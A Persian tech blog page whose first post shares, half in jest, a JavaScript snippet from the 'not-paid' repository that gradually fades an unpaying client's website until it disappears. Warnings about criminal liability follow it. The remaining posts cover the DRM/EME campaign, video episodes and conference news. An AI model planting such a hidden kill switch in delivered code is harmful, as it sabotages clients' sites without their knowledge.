مشتری طراحی سایت پولتون رو نمی ده؟ با این کد خورد خورد سایتش رو غیب کنین

امروز یک رپوزیتوری دیدم که واقعا حیفه بهتون معرفی نکنم: kleampa/not-paid. بهتون این جاوااسکریپت رو می ده:

(function(){
    /* change these variables as you wish */
    var due_date = new Date('2017-02-27');
    var days_deadline = 60;
    /* stop changing here */
    
    var current_date = new Date();
    var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
    var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
    var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
    
    if(days > 0) {
        var days_late = days_deadline-days;
        var opacity = (days_late*100/days_deadline)/100;
            opacity = (opacity < 0) ? 0 : opacity;
            opacity = (opacity > 1) ? 1 : opacity;
        if(opacity >= 0 && opacity <= 1) {
            document.getElementsByTagName("BODY")[0].style.opacity = opacity;
        }
        
    }
    
})()

که کافیه بعد از تنظیم دو تا متغیربالاییش به اسم not-paid.js ذخیرش کنین و تو بخش صداش بزنین. حالا یک میزان opacity به body اضافه می شه و هر روز که بگذره بیشتر می شه و سایت رو کم رنگ و کم رنگ تر می کنه تا بالاخره بعد از گذشتن مهلت مقرر (مثلا ۶۰ روز) سایت مشتری کاملا محو بشه (:

ایده از این خنده دار تر نمی‌شد واقعا. البته در مورد استفاده اش حواستون باشه چون ما قوانین خیلی درست و حسابی نداریم و کارهای خیلی خنده دار تر باعث به زندان رفته برنامه نویس هایی شده که فقط یک جایی تو برنامه نویسی اشتباه کرده بودن و کارفرمایی که پولشون رو نداده مدعی بوده که با اینکار بهش میلیون‌ها ضرر هم وارد اومده و قاضی هم که از این چیزها سر در نمیاورده،‌ رای رو به کارفرما داده.

اما خب... می تونین بخندین یا اگر سرویس رایگانی می دین ازش استفاده کنین (:

آپدیت ها

  • عرفان در کامنت ها فورک خودش که تاریخ شمسی می پذیره رو گذاشته.
  • سعید هم در ایمیل تذکر داده که «با توجه به ماده ۷۳۸ قانون در نظر داشته باش و هشدار بده که این کار به معنی ممانعت از دسترسی افراد مجاز به اطلاعاتشون هست! و این یعنی ۱ سال زندان و ۲ میلیون هم جریمه» است. منم تو متن تذکر دادم که این مطلب برای فان است و در قوانین ایران بهتره هیچ شوخی این شکلی نکنین. آدم هایی می شناسم که سر چیزهای خیلی خیلی کوچیکتر دردسرهای بسیار عجیبی متحمل شدن در قوانین عجیب ما

برای نجات اینترنت آزاد، جلوی این پیشنهاد محدود کننده بایستید #DialUp

یازده روز دیگه قراره اتفاقی بسیار مهم در تاریخ اینترنت بیافته. ما بارها کنار هم ایستادیم و چیزهایی مثل پیپا رو کنار زدیم اما حالا در حرکتی جدید کنسرسیوم وب که تا امروز سعی کرده با استانداردسازی، وب رو به پیش ببره پشت پیشنهادی مخرب ایستاده.

یازده روی دیگه پیشنهاد فنی ای در دستور کار قرار می‌گیره که با اضافه کردن DRM به براوزرها، به توزیع کننده های ویدئو امکان ایجاد محدودیت های زیادی می ده. مشکل ما با DRM یا همون «جنبش محدود سازی»‌ که البته طرفدارهاش بهش می گن «مدیریت حقوق دیجیتال» در دو نکته است:

  1. اگر من چیزی رو می خرم، مالک اون چیز هستم. اگر یک کتاب خریدم حق دارم به دوستم قرضش بدم، اگر در اروپا فلان فیلم رو خریدم حق دارم توی آسیا هم نگاهش کنم و اگر یکبار چیزی رو خریدم، تا همیشه حق دارم نگهش دارم. در حالی که انواع سیستم های دی آر ام، جلوی اینها رو می گیره و در واقع من دیگه مالک چیزی که می خرم نیستم بلکه یک نفر دیگه مدیریت می کنه که من چه حقی روی محصولی که تهیه کردم دارم.
  2. در بحث دوم، حضور دی آر ام ها، امنیت و آزادی منو به خطر می ندازه. مثلا در مورد سونی دیده شده که دی آر ام به اجبار روت کیتی رو روی کامپیوتر نصب کرده، براوزرها مجبورن کدهای بسته اضافه کنن تا دی آر ام کار کنه و عملا دیگه نمی تونیم براوزرهای کاملا آزاد داشته باشیم و …

حالا این پروپوزال جدید کنسرسیوم به اسم EME (Encrypted Media Extensions) که از طرف نت فلیکس، اپل،‌ گوگل و مایکروسافت با دفاع سرسخت ازش در حال تصویبش هستن و خب در واقع هزینه های کنسرسیوم وب هم تا حد زیادی از پول همین شرکت ها می چرخه. راه های مقابله ما اعتراض به مساله است. تیم برنرز لی که مبدع وب است در کنسرسیوم است و مردم دارن تلاش می کنن در کمپین #DialUp ازش بخوان با این مساله مخالفت کنه. ماها از ایران می تونیم در کمپین ایمیلی شرکت کنیم و خارجی ها حتی تماس تلفنی هم می تونن بگیرن. یک راه قوی دیگه لغو اشتراک نتفلیکس در اعتراض است یا راهی عمومی تر، فرستادن یک سلفی با شعار مخالفت با ای ام ای.

درسته که چیزی که ما بهش تو ایران می گیم «وب» بسیار محدودتر از این حرف ها است ولی تفاوت این ماجرا و شرایط ما در اینه که شرایط ما، ویژه ما است و کاملا منطقه ای و دوره ای ولی مسائلی مثل EME و PIPA و غیره، کلیت وب در طولانی مدت رو دچار نقصی جدی خواهند کرد که بعدا رفع کردنش بسیار سخت خواهد بود.

چرا آزادی بخش مهمی از آینده وب است؛ فیلم سخنرانی

دوستان خوب همایش آینده وب کار مهمی کردن و همه فیلم‌های همایش رو اینجا آپلود کردن منم فیلم خودم رو در کانال خودم منتشر کردم. شاید براتون جالب باشه.

روز خوبی بود و تشکر از شما که اومدین و برگزار کننده ها و لینک یوتیوب سخنرانی در مورد آینده وب هم اینجاست

جادی تی وی ۰۰۴ – اضافه کردن شمارنده بازدید کننده های وبگذر به وبلاگ بلاگفا

در قسمت چهارم از رادیو گیک به درخواست یک بیننده جواب می دیم: «چطوری برای وبلاگ بلاگفام شمارنده بذارم» و حین اینکار کمی در مورد اچ تی ام ال و اینکه پشت صفحات وب چی می گذره حرف می زنیم. ساده و سر راست و ده دقیقه (: در این شماره از جادی تی وی با استفاده از وبگذر برای وبلاگ پارناس یک شمارنده می سازیم و یاد می گیریم که پشت صفحه وب چیه و از کجا می شه اسکریپت بهش اضافه کرد و چطوری مطمئن شد که اونجاست.

سطح: مبتدی
موضوعات: شمارنده، وبلاگ، بلاگفا، وبگذر، ویزیتور، جاوااسکریپت

جادی تی وی ۰۰۳ – داک پد برای ساخت سایت‌های استاتیک

توی شماره سوم جادی تی وی، سری می زنیم به سایت سازهای استاتیک و با داک پد که یکی از بهترین نمونه‌هاش است، آرشیو رادیوی عالی چهرازی رو می سازیم که اگر یادتون باشه در شماره قبلی براش دامین راه انداخته بودیم. با ما باشین تا وب۵ (که ترکیبی است از وب۲ و اچ تی ام ال ۵) رو ضایع کنیم!

در این شماره با بوت استرپ و ماسونری شاد می شیم و از ای آی ویوید و میلاد تشکر می کنیم (:

شایان ذکره که با کمک دوستان در این شماره به تکنولوژی فشرده سازی نسبی تصویر دست پیدا کردم و ممنون می شم اگر می شه بهترش هم کرد بگین چطوری (ترجیحا با avconv). الان فایل چهل و پنج دقیقه ای، ۹۹ مگ شده. همچنین بنا به درخواست بسیار شما، مطمئنا دو شماره رو به گیت اختصاص خواهیم داد! دیگه چی؟

لیستی مفید از سازندگان سایت‌های استاتیک

سایت‌های استاتیک به دلایل متنوع کارا هستن و خوبه بدونیم که چطوری می شه با استفاده از برنامه‌ها / فریم ورک ها و سازنده‌های مخصوصشون، سراغشون رفت. ایده کلی معمولا نزدیک به اینه که شما فایل‌هایی رو با ترکیب خاصی بسیار راحته در جایی می ذارین و یک برنامه رو اجرا می کنین و یک وبسایت تحویل می‌گیرین. این سایت تقریبا همه سازندگان سایت‌های استاتیک رو جمع کرده و اونی که من گاهی باهاش چیزی درست می کنم، وینتر اسمیت است.

یک بلیت اضافی برای وب سامیت دابلین ایرلند

کنفرانس وب دوبلین ایرلند

آپدیت: بلیت‌ها واگذار شدن به یک دانشجو در دوبلین.

خواننده خوب کیبورد آزاد – آرمین – گفته که برای کنفرانس امسال وب سامیت یک بلیت اضافه داره! این بلیت بسیار ارزشمنده چون یکی از گردهمایی‌های سالانه بزرگی است که آدم ها توش سعی می کنن با شرکت های بزرگ پیوند بخورن و بین برندهای بزرگ جهان دنبال سرمایه گذار بگردن. الان سایت اصلی کنفرانس می گه که تمام بلیت‌ها و هتل‌هاش به طور کامل فروش رفتن و در نتیجه این بلیت حتی ارزشی بیشتر از مقدار اسمی‌اش هم پیدا کرده.

هفته دیگه یک کنفرانس هست در دوبلین ایرلند؛ این کنفرانس در نوع خودش بزرگترین کنفرانس سرمایه گذاری در اروپاست وشرکتها و افرادی که برای ایدشون دنبال سرمایه گذار میگردن، در این کنفرانس شرکت میکنند که ورودیش برای هر نفر ۱۰۰۰۰ یورو هست. از تمام شرکت های بزرگ و معروف از جمله گوگل و اپل هم شرکت کننده هست. من یک بلیط اضافه برای شرکت در این کنفرانس دارم و چون خیلی ارزشمنده دلم نیومد از بین بره به اضافه اینکه در طول دوره کنفرانس در یک هتل 4 ستاره اقامت خواهید داشت که اون هم مجانیه،فقط میمونه بلیط هواپیما که اون بر عهده خودتونه. فقط یاد آوری میکنم ،کسایی میتونن بیان ایرلند که پاسپورت آلمانی یا اروپایی داشته باشن چون فقط در این صورت نیاز به ویزا نخواهند داشت. دوستایی که تمایل دارن تو این کنفرانس شرکت کنند به من هرچه زودتر خبر بدند. با احترام

آرمین

اگر علاقمند هستین و شرایطش رو دارین کامنت بذارین.

روش تشخیص اینکه یک صفحه از اچ تی ام ال ۵ استفاده می کنه یا نه

منبع رو ندارم (:

پ.ن. این هفته رو اصولا باید هفته مایکروسافت نام گذاری می کردم (: غیرارادی است ولی خب ظاهرا خیلی جدی شده